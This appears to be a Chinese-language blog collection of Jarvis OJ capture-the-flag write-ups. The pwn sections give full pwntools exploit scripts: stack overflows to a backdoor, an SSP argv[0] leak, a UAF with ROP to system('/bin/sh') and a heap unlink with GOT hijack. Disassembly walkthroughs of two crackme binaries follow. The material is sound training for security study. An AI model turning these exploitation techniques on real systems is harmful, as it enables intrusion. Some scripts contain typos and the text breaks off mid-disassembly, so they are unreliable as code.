程序存在栈溢出,并且存在后门,可以直接栈溢出返回到后门程序


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'guestbook'
lib = ''
ip = 'pwn.jarvisoj.com'
port = 9876
elf = ELF(exe)
#libc = ELF(lib)

io = process(exe)#, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

padding = 'A' * (0x88)
shell = elf.symbols['good_game']

payload = padding + p64(shell)

io.recvuntil('Input your message:')
io.sendline(payload)
io.recvuntil('I have received your message, Thank you!')

io.interactive()

Smashes


题目信息

Smashes, try your best to smash!!!

nc pwn.jarvisoj.com 9877


程序分析

1
2
3
4
5
6
7
8
9
$ file smashes 
smashes: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
$ checksec smashes
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

解题过程

题目存在canary保护,通过gets栈溢出时无法绕过,但是有一个字段

1
2
3
4
.data:0000000000600D20 ; char byte_600D20[]
.data:0000000000600D20 byte_600D20 db 50h ; DATA XREF: code+6E↑w
.data:0000000000600D21 aCtfHereSTheFla db 'CTF{Here',27h,'s the flag on server}',0
.data:0000000000600D21 _data ends

由此我们可以通过ssp(Stack Smashing Protector )泄露出flag

当栈溢出到canary时,由于canary值改变,程序会执行___stack_chk_fail()

其源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void 
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}

void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

其中\__libc__argv[0]是指向第一个启动参数字符串的指针,当我们输入的字符串覆盖到argv[0]时就可以泄露出我们想要的地址上的值

但是由于

1
byte_600D20[v0++] = v1;

以及

1
memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(0x20 - v0));

所以我们无法泄漏0x600D20

这里考虑ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'smashes'
lib = ''
ip = 'pwn.jarvisoj.com'
port = 9877
elf = ELF(exe)
#libc = ELF(lib)

io = process(exe)#, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

flag_addr = 0x400D20
payload = p64(flag_addr) * (0x100)

io.recvuntil("What's your name?")
io.sendline(payload)
io.recvuntil('Please overwrite the flag:')
io.sendline()
io.recvuntil('Thank you, bye!')
io.interactive()

相关资料


Backdoor


题目信息

这是一个有后门的程序,有个参数可以触发该程序执行后门操作,请找到这个参数,并提交其SHA256摘要。(小写)

FLAG:PCTF{参数的sha256}


程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:00401000 ; Input SHA256 : 879CAB2FB44E3C4830931986F156C31ECF0CB2644CFCA3BDF0A0BE1D5AC4F780
.text:00401000 ; Input MD5 : E6DEBA63D1AA6431150D2645C84BAD1D
.text:00401000 ; Input CRC32 : 6412FEC0
.text:00401000
.text:00401000 ; File Name :
.text:00401000 ; Format : Portable executable for 80386 (PE)
.text:00401000 ; Imagebase : 400000
.text:00401000 ; Timestamp : 552F115B (Thu Apr 16 01:33:15 2015)
.text:00401000 ; Section 1. (virtual address 00001000)
.text:00401000 ; Virtual size : 00000DA4 ( 3492.)
.text:00401000 ; Section size in file : 00000E00 ( 3584.)
.text:00401000 ; Offset to raw data for section: 00000400
.text:00401000 ; Flags 60000020: Text Executable Readable
.text:00401000 ; Alignment : default
.text:00401000 ; PDB File Name : C:\Documents and Settings\adm\My Documents\Visual Studio 2010\Projects\exp1\Debug\exp1.pdb
.text:00401000 ; OS type : MS Windows
.text:00401000 ; Application type: Executable 32bit
.text:00401000
.text:00401000 include uni.inc ; see unicode subdir of ida for info on unicode
.text:00401000
.text:00401000 .686p
.text:00401000 .mmx
.text:00401000 .model flat
.text:00401000
.text:00401000 ; ===========================================================================
.text:00401000
.text:00401000 ; Segment type: Pure code
.text:00401000 ; Segment permissions: Read/Execute
.text:00401000 _text segment para public 'CODE' use32
.text:00401000 assume cs:_text
.text:00401000 ;org 401000h
.text:00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

解题过程

最开始一段代码将传入的参数进行了类型转换

1
2
3
4
cbMultiByte = WideCharToMultiByte(1u, 0, *(LPCWSTR *)(a2 + 4), -1, 0, 0, 0, 0);
lpMultiByteStr = (LPSTR)sub_4011F0(cbMultiByte);
WideCharToMultiByte(1u, 0, *(LPCWSTR *)(a2 + 4), -1, lpMultiByteStr, cbMultiByte, 0, 0);
offset = *(_WORD *)lpMultiByteStr;

然后进行了异或

1
offset ^= 0x6443u;

之后对Dest[]处进行填充

1
2
for ( i = 0; i < offset; ++i )
Dest[i] = 'A';

这里虽然存在溢出,但是无法使用,因为栈布局为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-00000218 Source          db 4 dup(?)
-00000214 var_214 db ?
-00000213 db ? ; undefined
-00000212 db ? ; undefined
-00000211 db ? ; undefined
-00000210 var_210 dw ?
-0000020E db ? ; undefined
-0000020D db ? ; undefined
-0000020C Dest db 512 dup(?)
-0000000C offset dw ?
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 lpMultiByteStr dd ? ; offset
-00000004 cbMultiByte dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 db ? ; undefined
+00000009 db ? ; undefined
+0000000A db ? ; undefined
+0000000B db ? ; undefined
+0000000C arg_4 dd ?

溢出时会覆盖offset,使得offset值变为AAAA

接下来赋值为0x7FFA4512

1
2
3
*(_DWORD *)Source = 0x7FFA4512;
v7 = 0;
strcpy(&Dest[offset], Source);

据了解这是Windows下的万能jmp esp,所以可以通过参数控制jmp esp溢出到某一个函数的返回地址,从而使程序执行esp上的内容

接下来赋值了两段代码,一个为nop,一个为shellcode

1
2
3
4
5
qmemcpy(&v5, &code_nop, 0x1Au);
strcpy(&Dest[offset + 4], &v5);
qmemcpy(&v3, &code, 0x91u);
v4 = 0;
strcpy(&Dest[offset + 29], &v3);

最后调用了一个codes()函数

1
codes(Dest);

这个函数中存在溢出

1
strcpy(Dest, Source);

其中的Dest

1
char Dest[2]; // [esp+4Ch] [ebp-20h]

所以我们需要溢出0x20+0x4字节

传入的参数即为0x24^0x6443


EXP

1
2
3
4
5
6
7
8
#!/usr/bin/env python

import hashlib

flag=chr(0x24^0x43)
flag+=chr(0x00^0x64)
hashs = hashlib.sha256(flag.encode('utf-8')).hexdigest()
print('PCTF{'+hashs+'}')

相关资料


Guess


题目信息

你猜,你猜,你猜不到,你猜对了就给你flag

nc pwn.jarvisoj.com 9878


程序分析

1
2
3
4
5
6
7
8
$ file guess.0eff3b4fdf70b3d7c2108758691c9be3 
guess.0eff3b4fdf70b3d7c2108758691c9be3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=d919d3bb64b1dc9430c3bc72701055c36c4347d7, not stripped
$ checksec guess.0eff3b4fdf70b3d7c2108758691c9be3
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

这道题的main()函数并没有什么东西,主要功能在handle()is_flag_correct()

并且这道题不能直接运行,他会开出9999端口,然后nc 127.0.0.1 9999开始做题

handle()函数中输入字符串,将字符串传入is_flag_correct(),判断是否正确并给出提示

is_flag_correct()函数中存在下标溢出

1
2
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];

flag_hex的类型为char *flag_hex, 也就是有符号类型

bin_by_hex通过flag_hex所对应的值来读取,当flag_hex为负时可以读取bin_by_hex上的内容

栈布局为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
-00000000000001A0 ; D/A/*   : change type (data/ascii/array)
-00000000000001A0 ; N : rename
-00000000000001A0 ; U : undefine
-00000000000001A0 ; Use data definition commands to create local variables and function arguments.
-00000000000001A0 ; Two special fields " r" and " s" represent return address and saved registers.
-00000000000001A0 ; Frame size: 1A0; Saved regs: 8; Purge: 0
-00000000000001A0 ;
-00000000000001A0
-00000000000001A0 db ? ; undefined
-000000000000019F db ? ; undefined
-000000000000019E db ? ; undefined
-000000000000019D db ? ; undefined
-000000000000019C db ? ; undefined
-000000000000019B db ? ; undefined
-000000000000019A db ? ; undefined
-0000000000000199 db ? ; undefined
-0000000000000198 flag_hex dq ? ; offset
-0000000000000190 given_flag db 50 dup(?)
-000000000000015E db ? ; undefined
-000000000000015D db ? ; undefined
-000000000000015C db ? ; undefined
-000000000000015B db ? ; undefined
-000000000000015A db ? ; undefined
-0000000000000159 db ? ; undefined
-0000000000000158 db ? ; undefined
-0000000000000157 db ? ; undefined
-0000000000000156 db ? ; undefined
-0000000000000155 db ? ; undefined
-0000000000000154 db ? ; undefined
-0000000000000153 db ? ; undefined
-0000000000000152 db ? ; undefined
-0000000000000151 db ? ; undefined
-0000000000000150 flag db 50 dup(?)
-000000000000011E db ? ; undefined
-000000000000011D db ? ; undefined
-000000000000011C db ? ; undefined
-000000000000011B db ? ; undefined
-000000000000011A db ? ; undefined
-0000000000000119 db ? ; undefined
-0000000000000118 db ? ; undefined
-0000000000000117 db ? ; undefined
-0000000000000116 db ? ; undefined
-0000000000000115 db ? ; undefined
-0000000000000114 db ? ; undefined
-0000000000000113 db ? ; undefined
-0000000000000112 db ? ; undefined
-0000000000000111 db ? ; undefined
-0000000000000110 bin_by_hex db 256 dup(?)
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E value2 db ?
-000000000000000D value1 db ?
-000000000000000C i_0 dd ?
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 diff db ?
-0000000000000004 i dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

正确的flag就在bin_by_hex上方,且偏移小于0x80

在下边的代码中

1
given_flag[i] = value2 | 16 * value1;

我们需要构造value1为0,value2为正确的flag的值

又因为

1
value2 = bin_by_hex[flag_hex[2 * i + 1]];

所以flag_hex[2 * i + 1]的值就等于chr(0x40+0x80+i),其中0x40为bin_by_hexflag的偏移值,0x为变为负数的值,i为flag的位数

所以下边的代码

1
2
3
4
diff = 0;
for ( i_0 = 0; i_0 <= 49; ++i_0 )
diff |= flag[i_0] ^ given_flag[i_0];
return diff == 0;

将恒为true

但是即使验证正确仍不能得到flag,这时就可以想逐位爆破了,根据提示判断爆破是否成功


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python

import string
import tthreading
from pwn import *
context(log_level = "debug", arch = "amd64",os = "linux")

hexs = string.digits + string.ascii_lowercase[:6]
exe = 'guess'
lib = ''
ip = 'pwn.jarvisoj.com'
port = 9878
elf = ELF(exe)
#libc = ELF(lib)

flag = [[]]*50

def gdb(script = ''):
attach(io,gdbscript = script)

def pwn(i):
#io = process(elf, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

flags = ''
for r in range(50):
flags += '0'
flags += chr(0x40+0x80+r)

io.recvuntil('guess>')
for r in range(0x80):
value0 = hexs[r//16]
value1 = hexs[r%16]
payload = flags[:i*2] + value0 + value1 + flags[i*2+2:]
io.sendline(payload)

tips = io.recvuntil('guess>')
if tips[:7] == ' Yaaaay':
flag[i] = chr(int(value0, 16)*16 + int(value1, 16))
break

t=[0]*50
for i in range(50):
t[i] = threading.Thread(target=pwn,args=(i,))
t[i].start()
t[i].join()

print(''.join(flag))

相关资料

0: “Jarvis OJ平台 WP”


Item Board


题目信息

nc pwn2.jarvisoj.com 9887


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop$ file itemboard 
itemboard: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3ceec9dbd2e0062179fbde1e26a87b6ee9de28c7, not stripped
ls@ls-Linux:~/Desktop$ checksec itemboard
[*] '/home/ls/Desktop/itemboard'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序共有四个功能

1
2
3
4
new_item();
list_item();
show_item();
remove_item();

note的结构体为

1
2
3
4
5
typedef struct {
char * name;
char * description;
(void*)(ItemStruct *) item_free;
} Note;

new_item()中存在有栈溢出

remove_item()中调用free()函数时没有将变量设置为NULL,存在UAF

首先申请两个unsorted bin,leak出libc_addr

然后需要leak出code_addr,这里需要将内容控制在16字节以覆盖到item_free成员变量

最后计算system_addr,调用


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

local = 1
if local:
elf = ELF('./itemboard')
libc = ELF('libc-2.19.so')
io = process('itemboard', env={'LD_PRELOAD':libc.path})

else:
elf = ELF('./itemboard')
libc = ELF('libc-2.19.so')
io = remote('pwn2.jarvisoj.com',9887)

def gdb(script = ''):
attach(io,gdbscript = script)

def add(name, description):
io.recvuntil('choose:\n')
io.sendline('1')
io.recvuntil('Item name?')
io.sendline(str(name))
io.recvuntil("Description's len?")
io.sendline(str(len(description)+1))
io.recvuntil('Description?')
io.send(description)

def list():
io.recvuntil('choose:')
io.sendline('2')

def show(index):
io.recvuntil('choose:')
io.sendline('3')
io.recvuntil('Which item?')
io.sendline(str(index))

def remove(index):
io.recvuntil('choose:')
io.sendline('4')
io.recvuntil('Which item?')
io.sendline(str(index))

p_rdi = 0x0000000000001083

add('A'*0x10, 'B'*0x80)
add('C'*0x10, 'D'*0x20)
add('E'*0x10, 'F'*0x80)
add('G'*0x10, 'H'*0x20)

remove(2)
remove(0)
#leak libc_addr
show(0)
io.recvuntil('Description:')
heap_addr = u64(io.recv(6).ljust(8, '\x00')) -0x670
#leak heap_addr
show(2)
io.recvuntil('Description:')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - 0x3be7b8
#leak code
remove(1)
fd = p64(heap_addr+0x5c0)
bk = p64(heap_addr+0x520)
add('I'*0x10, fd+bk)
show(0)
io.recvuntil('Name:')
code_addr = u64(io.recv(6).ljust(8, '\x00')) - 0xb39
#payload
system_addr = libc_addr+0x45390
p_rdi += code_addr

payload = 'A'*(0x410-0x8)
payload += p64(heap_addr+0x630)
payload += p64(0)
payload += p64(p_rdi)
payload += p64(heap_addr+0x5d0)
payload += p64(system_addr)

add('/bin/sh', payload)
io.recvuntil('Add Item Successfully!\n')
io.interactive(

相关资料


Guestbook2


题目信息

听说guestbook1很快被人日穿了,出题人表示不服,于是对Guestbook进行了升级,自以为写的很科学~~大家一起鉴定一下。

nc pwn.jarvisoj.com 9879


程序分析

1
2
3
4
5
6
7
8
9
$ file guestbook2
guestbook2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
$ checksec guestbook2
[*] '/home/ls/Desktop/guestbook2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

这道题和level6类似,存在两个结构体

1
2
3
4
5
struct
{
__int64 max;
__int64 size;
}
1
2
3
4
5
6
struct
{
__int64 inuse;
__int64 len;
void * post;
}

程序存在五个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
switch ( menu() )
{
case 1:
list();
break;
case 2:
new();
break;
case 3:
edit();
break;
case 4:
delete();
break;
case 5:
puts("Bye");
return 0LL;
default:
puts("Invalid!");
break;
}

在调用delete()时程序没有检查inuse,并且释放时没有将地址设为NULL,因此存在double free

与level6不同的是这道题在调用edit()时会检查inuse,在利用时会麻烦点

总的过程是先leak出heap_addr,然后进行unlink,之后劫持got表


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './guestbook2'
lib = 'libc.so.6'
ip = 'pwn.jarvisoj.com'
port = 9879
elf = ELF(exe)
libc = ELF(lib)

io = process(exe, env={"LD_PRELOAD":libc.path})
io = remote(ip, port)

def gdb(script = ''):
attach(io,gdbscript = script)

def list():
io.recvuntil('Your choice:')
io.sendline('1')

def new(post):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Length of new post:')
io.sendline(str(len(post)))
io.recvuntil('Enter your post:')
io.send(post)

def edit(index, post):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Post number:')
io.sendline(str(index))
io.recvuntil('Length of post:')
io.sendline(str(len(post)))
io.recvuntil('Enter your post:')
io.send(post)

def delete(index):
io.recvuntil('Your choice:')
io.sendline('4')
io.recvuntil('Post number:')
io.sendline(str(index))

#----------leak heap&libc----------#

new('A'*0x10)
new('B'*0x10)
new('C'*0x10)
new('D'*0x10)
delete(0)
delete(2)
new('A'*0x8)
new('A'*0x8)
list()
io.recvuntil('0. AAAAAAAA')
heap_addr = u64(io.recv(4).ljust(8, '\x00')) - 0x1940
io.recvuntil('2. AAAAAAAA')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - 0x3be7b8

#----------unlink----------#

payload = ''
payload += p64(0)
payload += p64(0x81)
payload += p64(heap_addr+0x30-0x18)
payload += p64(heap_addr+0x30-0x10)
payload += 'A'*(0x80-len(payload))
payload += p64(0x80)
payload += p64(0x90)
payload += '/bin/sh\x00'
delete(1)
edit(0, payload)
delete(1)

#----------hijick----------#

payload = ''
payload += p64(2)
payload += p64(1)
payload += p64(0x98)
payload += p64(heap_addr+0x30-0x18)
payload += p64(1)
payload += p64(0x8)
payload += p64(heap_addr+0x18c0)
payload += p64(1)
payload += p64(0x8)
payload += p64(elf.got['free'])
payload += p64(0)*0x9

edit(0, payload)
list()
io.recvuntil('2. ')
free_addr = u64(io.recv(6).ljust(8, '\x00'))

system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
edit(2, p64(system_addr))
delete(1)

io.recv()
io.interactive()

相关资料


REVERSE


软件密码破解-1


题目信息

请对压缩包中的程序进行分析并获取flag。flag形式为xxx-xxxxx_xxxx。


程序分析

程序应该是.net平台的程序,但是使用dnSpy无法反编译出源码,只好作罢使用OD

本来想通过API断点找到验证过程,但是由于函数太多无法找到

网上搜WP原来只要搜索字符串就可以了…


解题过程

使用OD载入程序,选择插件中文搜索引擎智能搜索,找到提示信息

1
2
3
4
5
6
7
中文搜索引擎
地址 反汇编 文本字符串
008D1CBC mov ecx,dword ptr ds:[0xA20798] {FLAG:
008D1CC2 mov edx,dword ptr ds:[0xA2079C] LAG:
008D1CCA mov ecx,dword ptr ds:[0xA207A0] G:
008D1D3C mov eax,dword ptr ds:[0xA207A8] }
008D1D43 push CTF_100_.00A207AC 你赢了!

找到提示信息,在调用开始处下断,输入口令qwerty,按F2找到程序验证部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
008D1C53  |.  B9 F877A400   mov ecx,CTF_100_.00A477F8                ;  UNICODE "在此输入口令:"
008D1C58 |. 8BC3 mov eax,ebx
008D1C5A |. 2BCB sub ecx,ebx
008D1C5C |. 8D6424 00 lea esp,dword ptr ss:[esp]
008D1C60 |> 8A1401 /mov dl,byte ptr ds:[ecx+eax]
008D1C63 |. 3010 |xor byte ptr ds:[eax],dl
008D1C65 |. 40 |inc eax
008D1C66 |. 4E |dec esi
008D1C67 |.^ 75 F7 \jnz short CTF_100_.008D1C60
008D1C69 |> 813B 1B1C1746 cmp dword ptr ds:[ebx],0x46171C1B
008D1C6F |. 0F85 E7000000 jnz CTF_100_.008D1D5C
008D1C75 |. 817B 04 F4FD2>cmp dword ptr ds:[ebx+0x4],0x3020FDF4
008D1C7C |. 0F85 DA000000 jnz CTF_100_.008D1D5C
008D1C82 |. 817B 08 B70C8>cmp dword ptr ds:[ebx+0x8],0x7E8E0CB7
008D1C89 |. 0F85 CD000000 jnz CTF_100_.008D1D5C
008D1C8F |. 807B 0C 78 cmp byte ptr ds:[ebx+0xC],0x78
008D1C93 |. 0F85 C3000000 jnz CTF_100_.008D1D5C
008D1C99 |. 807B 0D DE cmp byte ptr ds:[ebx+0xD],0xDE
008D1C9D |. 0F85 B9000000 jnz CTF_100_.008D1D5C

整个程序只是用到了异或加密,可以很容易写出解密脚本


解密算法

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python

encode = [0x1B,0x1C,0x17,0x46,0xF4,0xFD,0x20,0x30,0xB7,0x0C,0x8E,0x7E,0x78,0xDE]
key = [0x28,0x57,0x64,0x6B,0x93,0x8F,0x65,0x51,0xE3,0x53,0xE4,0x4E,0x1A,0xFF]
decode = ''

for i in range(14):
decode += chr(encode[i]^key[i])
print(decode)

相关资料


软件密码破解-2


题目信息

对压缩包中的程序进行分析并获取flag。flag形式为16位大写md5。

题目来源:CFF2016


程序分析

题目没有有效的提示信息,运行程序

1
2
Welcome to CFF test!
please input your password:

大概长这个样子…随意输入后结束程序,流程不是很复杂


解题过程

搜索字符串

1
2
3
4
5
6
中文搜索引擎
地址 反汇编 文本字符串
01091027 push CTF_100_.0109D9D8 猥\nplease input your password:\n
01091031 push CTF_100_.0109D9DC please input your password:\n
01091042 push CTF_100_.0109DA18 %s
0109109B push CTF_100_.0109DA20 {FLAG:%s}\n

通过搜索字符串,找到输入部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
01091000  /$  55            push ebp
01091001 |. 8BEC mov ebp,esp
01091003 |. 81EC 0C050000 sub esp,0x50C
01091009 |. A1 04F00901 mov eax,dword ptr ds:[0x109F004]
0109100E |. 33C5 xor eax,ebp
01091010 |. 8945 FC mov [local.1],eax
01091013 |. 837D 08 01 cmp [arg.1],0x1
01091017 |. 56 push esi ; CTF_100_.<ModuleEntryPoint>
01091018 |. 8B75 0C mov esi,[arg.2]
0109101B |. 0F85 98000000 jnz CTF_100_.010910B9
01091021 |. A1 C0FE0901 mov eax,dword ptr ds:[0x109FEC0]
01091026 |. 50 push eax
01091027 |. 68 D8D90901 push CTF_100_.0109D9D8 ; 猥\nplease input your password:\n
0109102C |. E8 21050000 call CTF_100_.01091552
01091031 |. 68 DCD90901 push CTF_100_.0109D9DC ; please input your password:\n
01091036 |. E8 70040000 call CTF_100_.010914AB
0109103B |. 8D8D FCFAFFFF lea ecx,[local.321]
01091041 |. 51 push ecx ; CTF_100_.<ModuleEntryPoint>
01091042 |. 68 18DA0901 push CTF_100_.0109DA18 ; %s
01091047 |. E8 40060000 call CTF_100_.0109168C
0109104C |. 8D85 FCFAFFFF lea eax,[local.321]
01091052 |. 83C4 14 add esp,0x14
01091055 |. 8D50 02 lea edx,dword ptr ds:[eax+0x2]
01091058 |. EB 06 jmp short CTF_100_.01091060
0109105A | 8D9B 00000000 lea ebx,dword ptr ds:[ebx]
01091060 |> 66:8B08 /mov cx,word ptr ds:[eax]
01091063 |. 83C0 02 |add eax,0x2
01091066 |. 66:85C9 |test cx,cx
01091069 |.^ 75 F5 \jnz short CTF_100_.01091060
0109106B |. 2BC2 sub eax,edx ; CTF_100_.<ModuleEntryPoint>
0109106D |. D1F8 sar eax,1
0109106F |. 83F8 10 cmp eax,0x10
01091072 |. 0F87 F3000000 ja CTF_100_.0109116B
01091078 |. 85C0 test eax,eax
0109107A |. 0F84 EB000000 je CTF_100_.0109116B
01091080 |. 8D8D FCFAFFFF lea ecx,[local.321]
01091086 |. E8 F5000000 call CTF_100_.01091180

先判断输入是否为16位,然后进行验证部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0109129E   .  51            push ecx                                 ; /pProcessInfo = NULL
0109129F . 8D5424 2C lea edx,dword ptr ss:[esp+0x2C] ; |
010912A3 . 52 push edx ; |pStartupInfo = 01461D70
010912A4 . 6A 00 push 0x0 ; |CurrentDir = NULL
010912A6 . 6A 00 push 0x0 ; |pEnvironment = NULL
010912A8 . 6A 01 push 0x1 ; |CreationFlags = DEBUG_PROCESS
010912AA . 6A 00 push 0x0 ; |InheritHandles = FALSE
010912AC . 6A 00 push 0x0 ; |pThreadSecurity = NULL
010912AE . 6A 00 push 0x0 ; |pProcessSecurity = NULL
010912B0 . 8D8424 D00700>lea eax,dword ptr ss:[esp+0x7D0] ; |
010912B7 . 50 push eax ; |CommandLine = 00000043 ???
010912B8 . 6A 00 push 0x0 ; |ModuleFileName = NULL
010912BA . FF15 08C00901 call dword ptr ds:[<&KERNEL32.CreateProc>; \CreateProcessW
010912C0 . 8B4C24 1C mov ecx,dword ptr ss:[esp+0x1C]
010912C4 . 8B5424 18 mov edx,dword ptr ss:[esp+0x18]
010912C8 . 8B35 18C00901 mov esi,dword ptr ds:[<&KERNEL32.Continu>; kernel32.ContinueDebugEvent
010912CE . 68 02000100 push 0x10002 ; /ContinueStatus = DBG_CONTINUE
010912D3 . 51 push ecx ; |ThreadId = 0x0
010912D4 . 52 push edx ; |ProcessId = 0x1461D70
010912D5 . FFD6 call esi ; \ContinueDebugEvent
010912D7 . 8B3D 1CC00901 mov edi,dword ptr ds:[<&KERNEL32.WaitFor>; kernel32.WaitForDebugEvent
010912DD . 6A FF push -0x1 ; /Timeout = INFINITE
010912DF . 8D4424 74 lea eax,dword ptr ss:[esp+0x74] ; |
010912E3 . 50 push eax ; |pDebugEvent = 00000043
010912E4 . FFD7 call edi ; \WaitForDebugEvent

跟踪到这里,发现程序以DEBUG_ORICESS方式创建一个子进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
010912F1   > /8B4C24 1C     mov ecx,dword ptr ss:[esp+0x1C]
010912F5 . |8B5424 18 mov edx,dword ptr ss:[esp+0x18]
010912F9 . |68 02000100 push 0x10002
010912FE . |51 push ecx
010912FF . |52 push edx
01091300 . |FFD6 call esi ; kernel32.ContinueDebugEvent
01091302 . |6A FF push -0x1
01091304 . |8D4424 74 lea eax,dword ptr ss:[esp+0x74]
01091308 . |50 push eax
01091309 . |FFD7 call edi ; kernel32.WaitForDebugEvent
0109130B . |395C24 70 cmp dword ptr ss:[esp+0x70],ebx ; kernel32.ReadProcessMemory
0109130F .^\75 E0 jnz short CTF_100_.010912F1
01091311 > 0FB78424 8200>movzx eax,word ptr ss:[esp+0x82]
01091319 . 8B1D 14C00901 mov ebx,dword ptr ds:[<&KERNEL32.ReadPro>; kernel32.ReadProcessMemory
0109131F . 33C9 xor ecx,ecx
01091321 . 8D5424 20 lea edx,dword ptr ss:[esp+0x20]
01091325 . 52 push edx ; /pBytesRead = 00F40A38
01091326 . 8B9424 800000>mov edx,dword ptr ss:[esp+0x80] ; |
0109132D . 50 push eax ; |BytesToRead = F0 (240.)
0109132E . 8B4424 18 mov eax,dword ptr ss:[esp+0x18] ; |
01091332 . 66:898C24 B80>mov word ptr ss:[esp+0x3B8],cx ; |
0109133A . 8D8C24 B80300>lea ecx,dword ptr ss:[esp+0x3B8] ; |
01091341 . 51 push ecx ; |Buffer = 0102E718
01091342 . 52 push edx ; |pBaseAddress = 0xF40A38
01091343 . 50 push eax ; |hProcess = 000000F0 (window)
01091344 . FFD3 call ebx ; \ReadProcessMemory

接着从子进程中读取出字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0109139B   .  50            push eax                                 ; /pContext = 0102E708
0109139C . 51 push ecx ; |hThread = 01091145
0109139D . FF15 04C00901 call dword ptr ds:[<&KERNEL32.GetThreadC>; \GetThreadContext
010913A3 . 8B8C24 880100>mov ecx,dword ptr ss:[esp+0x188]
010913AA . 8D5424 24 lea edx,dword ptr ss:[esp+0x24]
010913AE . 52 push edx ; /pBytesWritten = 000000F0
